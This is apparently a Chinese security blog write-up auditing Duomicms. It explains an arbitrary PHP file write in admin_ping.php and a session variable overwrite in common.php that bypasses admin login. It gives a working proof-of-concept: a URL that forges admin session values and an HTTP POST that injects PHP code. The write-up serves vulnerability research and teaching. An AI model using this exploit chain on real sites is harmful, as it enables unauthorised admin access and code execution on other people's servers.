天天看點

PHP審計之Duomicms審計

PHP審計之Duomicms審計

前言

廢話不多說,開沖

代碼審計

任意檔案寫入

定位漏洞代碼

admin/admin_ping.php

if($action=="set")
{
   $weburl= $_POST['weburl'];
   $token = $_POST['token'];
   $open=fopen("../data/admin/ping.php","w" );
   $str='<?php ';
   $str.='$weburl = "';
   $str.="$weburl";
   $str.='"; ';
   $str.='$token = "';
   $str.="$token";
   $str.='"; ';
   $str.=" ?>";
   fwrite($open,$str);
   fclose($open);
}
           

這個地方比較簡單,接收action參數為set,即走入這個判斷。直接寫入了一個php檔案,寫入php内容

$weburl

SESSION覆寫

經常導緻變量覆寫漏洞場景有:

$$使用不當,extract()函數使用不當,parse_str()函數使用不當import_request_variables()使用不當,開啟了全局變量注冊等。

這裡包含了config.php

看到config.php代碼

define('duomi_ADMIN', preg_replace("|[/\\\]{1,}|",'/',dirname(__FILE__) ) );
require_once(duomi_ADMIN."/../duomiphp/common.php");
require_once(duomi_INC."/check.admin.php");
require_once(duomi_ADMIN."/api/Snoopy.class.php");

...
    
$cuserLogin = new userLogin();
if($cuserLogin->getUserID()==-1)
{
	header("location:login.php?gotopage=".urlencode($EkNowurl));
	exit();
}
           

做了鑒權,來看看這個鑒權具體是怎麼實作的。

來到

userLogin

類中

class userLogin
{
	var $userName = '';
	var $userPwd = '';
	var $userID = '';
	var $adminDir = '';
	var $groupid = '';
	var $keepUserIDTag = "duomi_admin_id";
	var $keepgroupidTag = "duomi_group_id";
	var $keepUserNameTag = "duomi_admin_name";

	//php5構造函數
	function __construct($admindir='')
	{
		global $admin_path;
		if(isset($_SESSION[$this->keepUserIDTag]))
		{
			$this->userID = $_SESSION[$this->keepUserIDTag];
			$this->groupid = $_SESSION[$this->keepgroupidTag];
			$this->userName = $_SESSION[$this->keepUserNameTag];
		}
        ...
           

$_SESSION

中分别取

duomi_admin_id

duomi_group_id

duomi_admin_name

見名知意,即對應的 使用者名字、所屬組、使用者

來到login.php,即

checkUser

方法被調用的地方。

$cuserLogin = new userLogin($admindir);
		if(!empty($userid) && !empty($pwd))
		{
			$res = $cuserLogin->checkUser($userid,$pwd);

			//success
			if($res==1)
			{
				$cuserLogin->keepUser();
				if(!empty($gotopage))
				{
					ShowMsg('成功登入,正在轉向管理管理首頁!',$gotopage);
					exit();
				}
				else
				{
					ShowMsg('成功登入,正在轉向管理管理首頁!',"index.php");
					exit();
				}
			}
           

隻需要

$res

等于1的話,即認證通過。

checkUser方法

function checkUser($username,$userpwd)
	{
		global $dsql;

		//隻允許使用者名和密碼用0-9,a-z,A-Z,'@','_','.','-'這些字元
		$this->userName = m_ereg_replace("[^0-9a-zA-Z_@!\.-]",'',$username);
		$this->userPwd = m_ereg_replace("[^0-9a-zA-Z_@!\.-]",'',$userpwd);
		$pwd = substr(md5($this->userPwd),5,20);
		$dsql->SetQuery("Select * From `duomi_admin` where name like '".$this->userName."' and state='1' limit 0,1");
		$dsql->Execute();
		$row = $dsql->GetObject();
		if(!isset($row->password))
		{
			return -1;
		}
		else if($pwd!=$row->password)
		{
			return -2;
		}
           

變量的位置在 common.php

看一看使用這個變量覆寫需要滿足的條件

foreach($_REQUEST as $_k=>$_v)
{
   if( strlen($_k)>0 && m_eregi('^(cfg_|GLOBALS)',$_k) && !isset($_COOKIE[$_k]) )
   {
      exit('Request var not allow!');
   }
}
           

1.必須要有傳參 2.正則比對不能有cfg_和GLOBALS 3.不能有cookie某個值傳參

$$變量覆寫漏洞

foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
	foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
           

現在需要尋找一個

session_start

開啟的地方,結合變量覆寫漏洞利用。

PHP審計之Duomicms審計

這時候結合到上面分析的鑒權實作得知鑒權是從

$SESSION

中擷取了

duomi_admin_id

duomi_group_id

duomi_admin_name

這三個變量,構造poc覆寫這三個變量即可。

/interface/comment.php?_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_id]=1&_SESSION[duomi_admin_name]=admin
           
POST /admin/admin_ping.php?action=set HTTP/1.1
Host: 192.168.8.104:8013
Content-Length: 38
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.8.104:8013
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.8.104:8013/admin/admin_ping.php
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en;q=0.8,zh-TW;q=0.7,zh-CN;q=0.6
Cookie: PHPSESSID=e1mlfmpf2knhvg6doj5gt2jqd6
Connection: close

weburl=";phpinfo();//"&token=123456789
           
PHP審計之Duomicms審計

參考

  • 紅日安全]代碼審計Day14 - 從變量覆寫到getshell
  • 代碼審計--Duomicms變量覆寫漏洞